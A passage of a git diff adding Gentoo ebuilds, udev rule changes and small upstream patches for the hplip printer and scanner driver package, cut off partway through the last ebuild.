++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??17", RUN+="/bin/sh -c 'hp_model=%E{ID_MODEL} /usr/bin/hp-mkuri -c &'"
+ # Check for LaserJet products (0x03f0xx2a).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??2a", ENV{hp_model}="$sysfs{product}", ENV{hp_test}="yes"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??2a", RUN+="/bin/sh -c 'hp_model=%E{ID_MODEL} /usr/bin/hp-mkuri -c &'"
+ ENV{hp_test}=="yes", RUN+="/bin/sh -c '/usr/bin/hp-mkuri -c &'"
+ 
+ LABEL="hpmud_rules_end"
diff --git a/net-print/hplip/files/hplip-3.9.10-browser.patch b/net-print/hplip/files/hplip-3.9.10-browser.patch
new file mode 100644
index 00000000..46c4f634
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.9.10-browser.patch
@@ -0,0 +1,38 @@
+--- base/utils.py.old	2009-11-14 15:23:29.000000000 +0100
++++ base/utils.py	2009-11-14 15:37:53.000000000 +0100
+@@ -812,13 +812,15 @@
+     return True
+ 
+ 
+-BROWSERS = ['firefox', 'mozilla', 'konqueror', 'galeon', 'skipstone'] # in preferred order
+-BROWSER_OPTS = {'firefox': '-new-window', 'mozilla' : '', 'konqueror': '', 'galeon': '-w', 'skipstone': ''}
++BROWSERS = ['firefox', 'mozilla', 'konqueror', 'epiphany', 'skipstone'] # in preferred order
++BROWSER_OPTS = {'firefox': '-new-tab', 'mozilla': '', 'konqueror': '', 'epiphany': '--new-tab', 'skipstone': ''}
+ 
+ 
+ def find_browser():
+     if platform_avail and platform.system() == 'Darwin':
+         return "open"
++    if platform_avail and platform.system() == 'Linux' and which("xdg-open"):
++        return "xdg-open"
+     else:
+         for b in BROWSERS:
+             if which(b):
+@@ -832,11 +834,14 @@
+         cmd = 'open "%s"' % url
+         log.debug(cmd)
+         os.system(cmd)
++    if platform_avail and platform.system() == 'Linux' and which("xdg-open"):
++        cmd = 'xdg-open "%s"' % url
++        log.debug(cmd)
++        os.system(cmd)
+     else:
+         for b in BROWSERS:
+-            bb = which(b)
+-            if bb:
+-                bb = os.path.join(bb, b)
++            if b:
++                bb = which(b, return_full_path='True')
+                 if use_browser_opts:
+                     cmd = """%s %s "%s" &""" % (bb, BROWSER_OPTS[b], url)
+                 else:
diff --git a/net-print/hplip/files/hplip-3.9.12-cupsddk.patch b/net-print/hplip/files/hplip-3.9.12-cupsddk.patch
new file mode 100644
index 00000000..b059c9bb
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.9.12-cupsddk.patch
@@ -0,0 +1,23 @@
+diff -Naur hplip-3.9.12-old/installer/core_install.py hplip-3.9.12/installer/core_install.py
+--- hplip-3.9.12-old/installer/core_install.py	2009-12-15 22:22:13.000000000 +0100
++++ hplip-3.9.12/installer/core_install.py	2009-12-20 02:11:47.000000000 +0100
+@@ -29,6 +29,7 @@
+ import grp
+ import pwd
+ import tarfile
++import commands # TODO: Replace with subprocess (commands is deprecated in Python 3.0)
+ 
+ try:
+     import hashlib # new in 2.5
+@@ -1036,9 +1037,8 @@
+     def check_cupsddk(self):
+         log.debug("Checking for cups-ddk...")
+         # TODO: Compute these paths some way or another...
+-        #return check_tool("/usr/lib/cups/driver/drv list") and os.path.exists("/usr/share/cupsddk/include/media.defs")
+-        return (check_file('drv', "/usr/lib/cups/driver") or check_file('drv', "/usr/lib64/cups/driver")) and \
+-            check_file('media.defs', "/usr/share/cupsddk/include")
++        #return check_tool(commands.getoutput("cups-config --serverbin") + "/driver/drv list") and os.path.exists("/usr/share/cupsddk/include/media.defs")
++        return check_file('drv', commands.getoutput("cups-config --serverbin") + "/driver") and check_file('media.defs', "/usr/share/cupsddk/include")
+ 
+ 
+     def check_policykit(self):
diff --git a/net-print/hplip/files/hplip-3.9.12-systray.patch b/net-print/hplip/files/hplip-3.9.12-systray.patch
new file mode 100644
index 00000000..0ae053fa
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.9.12-systray.patch
@@ -0,0 +1,22 @@
+
+++ hplip-3.9.10/debian/patches/hplip-systray-longer-timeout-for-system-tray-start.dpatch
+
+#! /bin/sh /usr/share/dpatch/dpatch-run
+## hplip-systray-longer-timeout-for-system-tray-start.dpatch by  <till.kamppeter@gmail.com>
+##
+## All lines beginning with `## DP:' are a description of the patch.
+## DP: No description.
+
+@DPATCH@
+diff -urNad hplip-3.9.10~/ui4/systemtray.py hplip-3.9.10/ui4/systemtray.py
+--- hplip-3.9.10~/ui4/systemtray.py	2009-11-17 21:23:42.000000000 +0100
++++ hplip-3.9.10/ui4/systemtray.py	2009-11-29 21:34:01.399929476 +0100
+@@ -706,7 +706,7 @@
+     app.setQuitOnLastWindowClosed(False) # If not set, settings dlg closes app
+ 
+     i = 0
+-    while i < 10:
++    while i < 180:
+         if QSystemTrayIcon.isSystemTrayAvailable():
+             break
+         time.sleep(1.0)
diff --git a/net-print/hplip/hplip-3.12.10.ebuild b/net-print/hplip/hplip-3.12.10.ebuild
new file mode 100644
index 00000000..6f173587
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.10.ebuild
@@ -0,0 +1,244 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.10.ebuild,v 1.2 2012/10/20 11:54:01 billie Exp $
+
+EAPI=4
+
+PYTHON_DEPEND="!minimal? 2"
+PYTHON_USE_WITH="threads xml"
+PYTHON_USE_WITH_OPT="!minimal"
+
+inherit eutils fdo-mime linux-info python autotools toolchain-funcs
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${P}-patches-1.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify minimal parport policykit qt4 scanner snmp static-ppds X"
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		>=net-print/cups-1.4.0
+		virtual/libusb:1
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl:0
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	dev-python/dbus-python
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		dev-python/pygobject:2
+		kernel_linux? ( >=sys-fs/udev-114 )
+		scanner? (
+			dev-python/imaging
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			dev-python/reportlab
+			dev-python/dbus-python
+		)
+		qt4? (
+			dev-python/PyQt4[dbus,X]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	if ! use minimal; then
+		python_set_active_version 2
+		python_pkg_setup
+	fi
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	use !minimal && python_convert_shebangs -q -r 2 .
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Fix for Gentoo bug #345725
+	local udevdir=/lib/udev
+	has_version sys-fs/udev && udevdir="$($(tc-getPKG_CONFIG) --variable=udevdir udev)"
+	sed -i -e "s|/etc/udev|${udevdir}|g" \
+		$(find . -type f -exec grep -l /etc/udev {} +) || die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-libusb01_build \
+		--disable-udev_sysfs_rules \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: #201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf {} + || die
+}
+
+pkg_postinst() {
+	use !minimal && python_mod_optimize /usr/share/${PN}
+	fdo-mime_desktop_database_update
+
+	elog "For more information on setting up your printer please take"
+	elog "a look at the hplip section of the gentoo printing guide:"
+	elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+	elog
+	elog "Any user who wants to print must be in the lp group."
+}
+
+pkg_postrm() {
+	use !minimal && python_mod_cleanup /usr/share/${PN}
+	fdo-mime_desktop_database_update
+}
diff --git a/net-print/hplip/hplip-3.12.10a-r1.ebuild b/net-print/hplip/hplip-3.12.10a-r1.ebuild
new file mode 100644
index 00000000..fd8ce690
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.10a-r1.ebuild
@@ -0,0 +1,262 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.10a-r1.ebuild,v 1.2 2012/12/11 17:01:02 axs Exp $
+
+EAPI=4
+
+PYTHON_DEPEND="!minimal? 2"
+PYTHON_USE_WITH="threads xml"
+PYTHON_USE_WITH_OPT="!minimal"
+
+inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~ppc ~ppc64 ~x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X"
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		>=net-print/cups-1.4.0
+		!libusb0? ( virtual/libusb:1 )
+		libusb0? ( virtual/libusb:0 )
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl:0
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	dev-python/dbus-python
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		dev-python/pygobject:2
+		kernel_linux? ( virtual/udev !<sys-fs/udev-114 )
+		scanner? (
+			dev-python/imaging
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			dev-python/reportlab
+			dev-python/dbus-python
+		)
+		qt4? (
+			dev-python/PyQt4[dbus,X]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	if ! use minimal; then
+		python_set_active_version 2
+		python_pkg_setup
+	fi
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	use !minimal && python_convert_shebangs -q -r 2 .
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Make desktop files follow the specification
+	# Gentoo bug: https://bugs.gentoo.org/show_bug.cgi?id=443680
+	# Upstream bug: https://bugs.launchpad.net/hplip/+bug/1080324
+	sed -i -e '/^Categories=/s/Application;//' \
+		-e '/^Encoding=.*/d' hplip.desktop.in || die
+	sed -i -e '/^Categories=/s/Application;//' \
+		-e '/^Version=.*/d' \
+		-e '/^Comment=.*/d' hplip-systray.desktop.in || die
+
+	# Fix for Gentoo bug https://bugs.gentoo.org/show_bug.cgi?id=345725
+	# Upstream bug: https://bugs.launchpad.net/hplip/+bug/880847,
+	# https://bugs.launchpad.net/hplip/+bug/500086
+	local udevdir="$(udev_get_udevdir)"
+	sed -i -e "s|/etc/udev|${udevdir}|g" \
+		$(find . -type f -exec grep -l /etc/udev {} +) || die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use libusb0 ; then
+		myconf="${myconf} --enable-libusb01_build"
+	else
+		myconf="${myconf} --disable-libusb01_build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-udev_sysfs_rules \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf {} + || die
+}
+
+pkg_postinst() {
+	use !minimal && python_mod_optimize /usr/share/${PN}
+	fdo-mime_desktop_database_update
+
+	if [[ -z "${REPLACING_VERSIONS}" ]]; then
+		elog "For more information on setting up your printer please take"
+		elog "a look at the hplip section of the gentoo printing guide:"
+		elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+		elog
+		elog "Any user who wants to print must be in the lp group."
+	fi
+}
+
+pkg_postrm() {
+	use !minimal && python_mod_cleanup /usr/share/${PN}
+	fdo-mime_desktop_database_update
+}
diff --git a/net-print/hplip/hplip-3.12.10a.ebuild b/net-print/hplip/hplip-3.12.10a.ebuild
new file mode 100644
index 00000000..8fccc6e4
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.10a.ebuild
@@ -0,0 +1,251 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.10a.ebuild,v 1.10 2013/02/09 08:57:51 billie Exp $
+
+EAPI=4
+
+PYTHON_DEPEND="!minimal? 2"
+PYTHON_USE_WITH="threads xml"
+PYTHON_USE_WITH_OPT="!minimal"
+
+inherit eutils fdo-mime linux-info python udev autotools toolchain-funcs
+
+DESCRIPTION="HP Linux Imaging and Printing. Includes printer, scanner, fax drivers and service tools."
+HOMEPAGE="http://hplipopensource.com/hplip-web/index.html"
+SRC_URI="mirror://sourceforge/hplip/${P}.tar.gz
+		http://dev.gentoo.org/~billie/distfiles/${PN}-3.12.10-patches-1.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm ppc ppc64 x86"
+
+# zeroconf does not work properly with >=cups-1.4.
+# Thus support for it is also disabled in hplip.
+IUSE="+autostart doc fax +hpcups hpijs kde libnotify libusb0 minimal parport policykit qt4 scanner snmp static-ppds X"
+
+COMMON_DEPEND="
+	virtual/jpeg
+	hpijs? ( >=net-print/foomatic-filters-3.0.20080507[cups] )
+	!minimal? (
+		>=net-print/cups-1.4.0
+		!libusb0? ( virtual/libusb:1 )
+		libusb0? ( virtual/libusb:0 )
+		scanner? ( >=media-gfx/sane-backends-1.0.19-r1 )
+		fax? ( sys-apps/dbus )
+		snmp? (
+			net-analyzer/net-snmp
+			dev-libs/openssl:0
+		)
+	)"
+
+DEPEND="${COMMON_DEPEND}
+	virtual/pkgconfig"
+
+RDEPEND="${COMMON_DEPEND}
+	>=app-text/ghostscript-gpl-8.71-r3
+	dev-python/dbus-python
+	policykit? (
+		sys-auth/polkit
+	)
+	!minimal? (
+		dev-python/pygobject:2
+		kernel_linux? ( virtual/udev !<sys-fs/udev-114 )
+		scanner? (
+			dev-python/imaging
+			X? ( || (
+				kde? ( kde-misc/skanlite )
+				media-gfx/xsane
+				media-gfx/sane-frontends
+			) )
+		)
+		fax? (
+			dev-python/reportlab
+			dev-python/dbus-python
+		)
+		qt4? (
+			dev-python/PyQt4[dbus,X]
+			libnotify? (
+				dev-python/notify-python
+			)
+		)
+	)"
+
+CONFIG_CHECK="~PARPORT ~PPDEV"
+ERROR_PARPORT="Please make sure kernel parallel port support is enabled (PARPORT and PPDEV)."
+
+pkg_setup() {
+	if ! use minimal; then
+		python_set_active_version 2
+		python_pkg_setup
+	fi
+
+	! use qt4 && ewarn "You need USE=qt4 for the hplip GUI."
+
+	use scanner && ! use X && ewarn "You need USE=X for the scanner GUI."
+
+	if ! use hpcups && ! use hpijs ; then
+		ewarn "Installing neither hpcups (USE=-hpcups) nor hpijs (USE=-hpijs) driver,"
+		ewarn "which is probably not what you want."
+		ewarn "You will almost certainly not be able to print."
+	fi
+
+	if use minimal ; then
+		ewarn "Installing driver portions only, make sure you know what you are doing."
+		ewarn "Depending on the USE flags set for hpcups or hpijs the appropiate driver"
+		ewarn "is installed. If both USE flags are set hpijs overrides hpcups."
+	else
+		use parport && linux-info_pkg_setup
+	fi
+}
+
+src_prepare() {
+	use !minimal && python_convert_shebangs -q -r 2 .
+
+	EPATCH_SUFFIX="patch" \
+	EPATCH_FORCE="yes" \
+	epatch "${WORKDIR}"
+
+	# Fix for Gentoo bug #345725
+	local udevdir="$(udev_get_udevdir)"
+	sed -i -e "s|/etc/udev|${udevdir}|g" \
+		$(find . -type f -exec grep -l /etc/udev {} +) || die
+
+	# Force recognition of Gentoo distro by hp-check
+	sed -i \
+		-e "s:file('/etc/issue', 'r').read():'Gentoo':" \
+		installer/core_install.py || die
+
+	# Use system foomatic-rip for hpijs driver instead of foomatic-rip-hplip
+	# The hpcups driver does not use foomatic-rip
+	local i
+	for i in ppd/hpijs/*.ppd.gz ; do
+		rm -f ${i}.temp || die
+		gunzip -c ${i} | sed 's/foomatic-rip-hplip/foomatic-rip/g' | \
+			gzip > ${i}.temp || die
+		mv ${i}.temp ${i} || die
+	done
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf drv_build minimal_build
+
+	if use fax || use qt4 ; then
+		myconf="${myconf} --enable-dbus-build"
+	else
+		myconf="${myconf} --disable-dbus-build"
+	fi
+
+	if use libusb0 ; then
+		myconf="${myconf} --enable-libusb01_build"
+	else
+		myconf="${myconf} --disable-libusb01_build"
+	fi
+
+	if use hpcups ; then
+		drv_build="$(use_enable hpcups hpcups-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-cups-ppd-install"
+			drv_build="${drv_build} --disable-cups-drv-install"
+		else
+			drv_build="${drv_build} --enable-cups-drv-install"
+			drv_build="${drv_build} --disable-cups-ppd-install"
+		fi
+	else
+		drv_build="--disable-hpcups-install"
+		drv_build="${drv_build} --disable-cups-drv-install"
+		drv_build="${drv_build} --disable-cups-ppd-install"
+	fi
+
+	if use hpijs ; then
+		drv_build="${drv_build} $(use_enable hpijs hpijs-install)"
+		if use static-ppds ; then
+			drv_build="${drv_build} --enable-foomatic-ppd-install"
+			drv_build="${drv_build} --disable-foomatic-drv-install"
+		else
+			drv_build="${drv_build} --enable-foomatic-drv-install"
+			drv_build="${drv_build} --disable-foomatic-ppd-install"
+		fi
+	else
+		drv_build="${drv_build} --disable-hpijs-install"
+		drv_build="${drv_build} --disable-foomatic-drv-install"
+		drv_build="${drv_build} --disable-foomatic-ppd-install"
+	fi
+
+	if use minimal ; then
+		if use hpijs ; then
+			minimal_build="--enable-hpijs-only-build"
+		else
+			minimal_build="--disable-hpijs-only-build"
+		fi
+		if use hpcups ; then
+			minimal_build="${minimal_build} --enable-hpcups-only-build"
+		else
+			minimal_build="${minimal_build} --disable-hpcups-only-build"
+		fi
+	fi
+
+	econf \
+		--disable-cups11-build \
+		--disable-lite-build \
+		--disable-foomatic-rip-hplip-install \
+		--disable-shadow-build \
+		--disable-qt3 \
+		--disable-udev_sysfs_rules \
+		--disable-udev-acl-rules \
+		--with-cupsbackenddir=$(cups-config --serverbin)/backend \
+		--with-cupsfilterdir=$(cups-config --serverbin)/filter \
+		--with-docdir=/usr/share/doc/${PF} \
+		--with-htmldir=/usr/share/doc/${PF}/html \
+		${myconf} \
+		${drv_build} \
+		${minimal_build} \
+		$(use_enable doc doc-build) \
+		$(use_enable fax fax-build) \
+		$(use_enable parport pp-build) \
+		$(use_enable scanner scan-build) \
+		$(use_enable snmp network-build) \
+		$(use_enable qt4 gui-build) \
+		$(use_enable qt4) \
+		$(use_enable policykit)
+}
+
+src_install() {
+	default
+
+	# Installed by sane-backends
+	# Gentoo Bug: #201023
+	rm -f "${D}"/etc/sane.d/dll.conf || die
+
+	# bug 106035/259763
+	if ! use autostart || ! use qt4 ; then
+		rm -r "${D}"/usr/share/applications "${D}"/etc/xdg
+	fi
+
+	rm -f "${D}"/usr/share/doc/${PF}/{copyright,README_LIBJPG,COPYING} || die
+	rmdir --ignore-fail-on-non-empty "${D}"/usr/share/doc/${PF}/ || die
+
+	# Remove hal fdi files
+	rm -rf "${D}"/usr/share/hal || die
+
+	find "${D}" -name '*.la' -exec rm -rf {} + || die
+}
+
+pkg_postinst() {
+	use !minimal && python_mod_optimize /usr/share/${PN}
+	fdo-mime_desktop_database_update
+
+	if [[ -z "${REPLACING_VERSIONS}" ]]; then
+		elog "For more information on setting up your printer please take"
+		elog "a look at the hplip section of the gentoo printing guide:"
+		elog "http://www.gentoo.org/doc/en/printing-howto.xml"
+		elog
+		elog "Any user who wants to print must be in the lp group."
+	fi
+}
+
+pkg_postrm() {
+	use !minimal && python_mod_cleanup /usr/share/${PN}
+	fdo-mime_desktop_database_update
+}
diff --git a/net-print/hplip/hplip-3.12.11-r1.ebuild b/net-print/hplip/hplip-3.12.11-r1.ebuild
new file mode 100644
index 00000000..d5b0186c
--- /dev/null
+++ b/net-print/hplip/hplip-3.12.11-r1.ebuild
@@ -0,0 +1,263 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-print/hplip/hplip-3.12.11-r1.ebuild,v 1.2 2013/02/09 09:07:31 billie Exp $
+
+EAPI=5
+
+PYTHON_COMPAT=( python{2_6,2_7} )
